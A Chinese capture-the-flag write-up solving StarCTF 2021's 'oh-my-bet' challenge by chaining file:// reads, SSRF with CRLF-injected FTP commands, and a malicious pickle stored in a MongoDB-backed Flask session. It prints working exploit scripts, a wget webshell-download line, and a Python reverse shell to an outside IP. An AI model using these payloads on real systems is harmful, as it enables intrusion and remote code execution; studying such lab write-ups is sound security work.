概述
图片的位置可以读到passwd,我们尝试可不可以LFI直接获得webshell
LFI通过proc/self/environ直接获取webshell:https://yq.aliyun.com/articles/441861
/proc/self/environ:
HOSTNAME=3bc5e11b1b0cSHLVL=1PYTHON_PIP_VERSION=9.0.1HOME=/home/appGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.6.0PWD=/app
/proc/self/cmdline
/usr/local/bin/python3.6/usr/local/bin/gunicorn-b0.0.0.0:5000-w6--threads6--log-leveldebugapp:app
选择User-Agent 写代码如下:
<?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
然后提交请求
失败了,从刚刚读取environ和cmdline可以看到是一个正在运行的app/app.py,我们去读取一下
…/…/…/…/app/app.py
读取用脚本
import requests
import random
import string
import base64
import re
target = "file:///etc/passwd"
def randstr():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
data={
"username": randstr(),
"password": "12345",
"avatar": "{}".format(target),
"submit": "Go!"
}
print(data)
r = requests.post("http://8.141.49.22:8088/login", data=data)
resp = r.text
pattern = r'"data:image/png;base64,(.*?)"'
b64 = re.search(pattern, resp).group(1)
print(b64)
print(base64.b64decode(b64).decode())
#app.py
import logging
from flask import Flask, session, request, render_template, url_for, redirect
from flask_session import Session
from config import Config
from forms import LoginForm
from exts import db, redis_client
from models import User
from utils import mark_data, get_data, login_required, get_avatar, random_dice, random_card, md5
app = Flask(__name__)
app.config.from_object(Config())
Session(app)
db.init_app(app)
redis_client.init_app(app)
@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if session.get('username'):
return redirect(url_for('shake_and_dice'))
if request.method == 'GET':
return render_template('login.html', form=form)
else:
username = form.username.data
password = form.password.data
password_md5 = md5(password)
avatar = form.avatar.data
user = User.query.filter_by(username=username).first()
if user:
if password_md5 != user.password:
return render_template('login.html', form=form, message='Sorry, username or password ERROR!')
else:
session['username'] = username
return redirect(url_for('shake_and_dice'))
else:
user = User(username=username, password=password_md5, avatar=avatar)
db.session.add(user)
db.session.commit()
session['username'] = username
data = get_avatar(username)
mark_data(username, data)
return redirect(url_for('shake_and_dice'))
@app.route('/shake_and_dice')
@login_required
def shake_and_dice():
dice1 = random_dice()
dice2 = random_dice()
dice3 = random_dice()
content = get_data(session['username'])
return render_template('shake_and_dice.html', username=session['username'], avatar=content,
dice1=dice1, dice2=dice2, dice3=dice3)
@app.route('/flag_points_29_points')
@login_required
def flag_points_29_points():
card1 = random_card()
card2 = random_card()
card3 = random_card()
content = get_data(session['username'])
return render_template('flag_points_29_points.html', username=session['username'], avatar=content,
card1=card1, card2=card2, card3=card3)
@app.route('/logout')
@login_required
def logout():
session.pop('username')
return redirect(url_for('login'))
@app.route('/')
def index():
return redirect(url_for('login'))
if __name__ == '__main__':
app.run()
这里毫无突破口,但是我们可以看到,导入了几个python模块,我们下载一下
#config.py
import pymongo
from ftplib import FTP
import json
class Config(object):
def ftp_login(self):
ftp = FTP()
ftp.connect("172.20.0.2", 8877)
ftp.login("fan", "root")
return ftp
def callback(self,*args, **kwargs):
data = json.loads(args[0].decode())
self.data = data
def get_config(self):
f = self.ftp_login()
f.cwd("files")
buf_size = 1024
f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
def __init__(self):
self.get_config()
data = self.data
self.secret_key = data['secret_key']
self.SECRET_KEY = data['secret_key']
self.DEBUG = data['DEBUG']
self.SESSION_TYPE = data['SESSION_TYPE']
remote_mongo_ip = data['REMOTE_MONGO_IP']
remote_mongo_port = data['REMOTE_MONGO_PORT']
self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
self.SESSION_PERMANENT = data['SESSION_PERMANENT']
self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']
self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']
self.REDIS_URL = data['REDIS_URL']
这里添加了FTP,这里应该会有说法
#utils.py
import os
import time
import re
import base64
import random
import hashlib
import urllib.request
from exts import redis_client
from functools import wraps
from flask import session, redirect, url_for
from models import User
def mark_data(id, data):
expires = int(time.time()) + 240
p = redis_client.pipeline()
p.set(id, data)
p.expireat(id, expires)
p.execute()
def get_data(id):
data = redis_client.get(id)
if not data:
data = get_avatar(id)
mark_data(id, data)
return data.decode()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kws):
if not session.get("username"):
return redirect(url_for('login'))
return f(*args, **kws)
return decorated_function
def get_avatar(username):
dirpath = os.path.dirname(__file__)
user = User.query.filter_by(username=username).first()
avatar = user.avatar
if re.match('.+:.+', avatar):
path = avatar
else:
path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
try:
content = base64.b64encode(urllib.request.urlopen(path).read())
except Exception as e:
error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
content = base64.b64encode(urllib.request.urlopen(error_path).read())
print(e)
return content
def random_dice():
dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
return random.choice(dices)
def random_card():
color = ['♠️️', '❤️ ', '️️????', '♣️', '????']
return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))
def md5(data):
m = hashlib.md5(data.encode())
return m.hexdigest()
在这里,我们终于看到了为我们提供LFI的函数get_avatar
def get_avatar(username):
dirpath = os.path.dirname(__file__)
user = User.query.filter_by(username=username).first()
avatar = user.avatar
if re.match('.+:.+', avatar):
path = avatar
else:
path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
try:
content = base64.b64encode(urllib.request.urlopen(path).read())
except Exception as e:
error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
content = base64.b64encode(urllib.request.urlopen(error_path).read())
print(e)
return content
这个地方也是我们读文件的地方,使用的是urllib.request.urlopen,这个方法是支持file://和ftp://的
我们在config中知道了FTP服务器的存在,我们发送一个请求获取一下文件
利用ftp://fan:root@172.20.0.2/
这样的url可以列出ftp服务器内的文件
使用ftp://fan:root@172.20.0.2:8877/ftp-server.py
,获得了FTP服务器的源代码
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")
handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer
server = FTPServer(("172.20.0.2", 8877), handler)
server.serve_forever()
首先看权限:authorizer.add_user("fan", "root", ".", perm="elrafmwMT")
,有权限写
还有一个files
文件夹,ftp://fan:root@172.20.0.2:8877/files/
这里有一个config.json
ftp://fan:root@172.20.0.2:8877/files/config.json
然后我去读了下/readflag,发现存在,读到了base64加密的二进制内容,这里我们进虚拟机,保存一下这个base64内容,然后用虚拟机的解密来解码这个base64内容的文件,然后拖到本地,反编译一下
flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6
但是读取一下发现读不了,这里应该是无权限…
(其实有/readflag的时候就可以确定flag文件没权限读了…至于为什么反编译呢…就是单纯好奇)
我们再去看这个config.json,发现是Mongo,然后session是flask_session,也就说session存储在Mongo里,那我们在mongo中插入恶意pickle数据就可以了
SSRF到ftp服务器:https://github.com/perfectblue/ctf-writeups/tree/master/2020/plaidctf-2020/contrived-web
参考这篇文章
使用如下脚本来实现
import socket
import time
HOST = '0.0.0.0'
PORT = 1888
blocksize = 4096
fp = open('bb2.txt', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
print('start listen...')
s.listen()
conn, addr = s.accept()
time.sleep(3)
print('go')
with conn:
while 1:
buf = fp.read(blocksize)
if not buf:
fp.close()
break
conn.sendall(buf)
print('end.')
import urllib.request
# Upload file
a = '''TYPE I
PORT 8,141,49,228,0,1888
STOR bb2.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('n', 'rn'))
exp = c + exp
print(exp)
#ftp://fan:root@172.20.0.2:8877/files%0d%0aTYPE%20I%0D%0APORT%208%2C141%2C49%2C228%2C0%2C1888%0D%0ASTOR%20ss.txt%0D%0A
这样请求过去ftp就会启用主动模式,并从我们vps的1888端口下载一个bb2.txt文件
这里文件上传后发没数据…这里要注意,运行python后等一小会儿,然后提交请求…要不木得数据
Python MongoDB、MongoDB安装、Flask-session用法
我们在本地创建一个数据库,测试一下,库名admin表名sessions
因为有docker环境复现起来很舒服…
#!/usr/bin/python3
import pymongo
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
mydb = myclient["admin"]
mycol = mydb["sessions"]
mydict = {"id": "session:37386ce1-3fe8-4f1d-91fc-224581c5279f", "val": '123','expiration':'ISODate("2021-03-06T22:23:07.470Z'}
x = mycol.insert_one(mydict)
print(x)
print(x)
更新一下
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
def get_mongo(cmd):
client = MongoClient('localhost', 27017)
coll = client.admin.sessions
try:
coll.update_one(
{'id':'session:14f1d114-dfcd-4ede-abab-241e88ab1e0c'},
{"$set": { "val": get_pickle(cmd) }},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
print(get_mongo('ls'))
这里可以看到val的值变了
用wireshark抓一下这个包,这个是过滤规则tcp.port == 27017,然而我没找到…用的是frankli师傅的方法…在network.py中的143行抛个异常
if b'session' in msg:
import base64
print(base64.b64encode(msg))
try:
sock_info.sock.sendall(msg)
会抛出一段base64,放php里解出来即可
<?php
$a = base64_decode("HwIAAFHcsHQAAAAA3QcAAAAAAAAAfwAAAAJ1cGRhdGUACQAAAHNlc3Npb25zAAhvcmRlcmVkAAEDbHNpZAAeAAAABWlkABAAAAAECyprtJT6Tyqp1/jfMTVMbQACJGRiAAYAAABhZG1pbgADJHJlYWRQcmVmZXJlbmNlABcAAAACbW9kZQAIAAAAcHJpbWFyeQAAAAGKAQAAdXBkYXRlcwB+AQAAA3EAOgAAAAJpZAAtAAAAc2Vzc2lvbjoxNGYxZDExNC1kZmNkLTRlZGUtYWJhYi0yNDFlODhhYjFlMGMAAAN1ACgBAAADJHNldAAdAQAABXZhbAAOAQAAAIADY3Bvc2l4CnN5c3RlbQpxAFjuAAAACiAgICBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI4LjE0MS40OS4yMjgiLDU0MzIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycKICAgIHEBhXECUnEDLgAACG11bHRpAAAIdXBzZXJ0AAEA");
file_put_contents("a.txt",$a);
?>
把这个二进制文件传进FTP,然后我们只要主动建立连接,然后让mongodb主动下载这个文件就可以更新mongo数据库
import urllib.request
a = '''TYPE I
PORT 172,20,0,5,0,27017
RETR a.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('n', 'rn'))
exp = c + exp
print(exp)
最后带着session访问题目就可以弹shell
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
def get_mongo(cmd):
client = MongoClient('localhost', 27017)
coll = client.admin.sessions
try:
coll.update_one(
{'id':'session:14f1d114-dfcd-4ede-abab-241e88ab1e0c'},
{"$set": { "val": get_pickle(cmd) }},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
shell = """
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.141.49.228",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
"""
print(shell)
print(get_mongo(shell))
用linux生成payload,别用windows…(血的教训,因为这个问题卡了很久很久很久),在linux安装疯狂报错的话用官方的方法安装
vps监听,运行/readflag拿到flag
用linux生成payload,别用windows…(血的教训,因为这个问题卡了很久很久很久),在linux安装疯狂报错的话用官方的方法安装
参考:
- https://blog.frankli.site/2021/01/18/*CTF-2021-Web/
- https://blog.brycec.me/posts/starctf2021_writeups/#oh-my-bet
- https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md
- https://www.cnblogs.com/W4nder/p/14322791.html
最后
以上就是诚心鞋垫为你收集整理的StarCTF oh-my-bet的全部内容,希望文章能够帮你解决StarCTF oh-my-bet所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复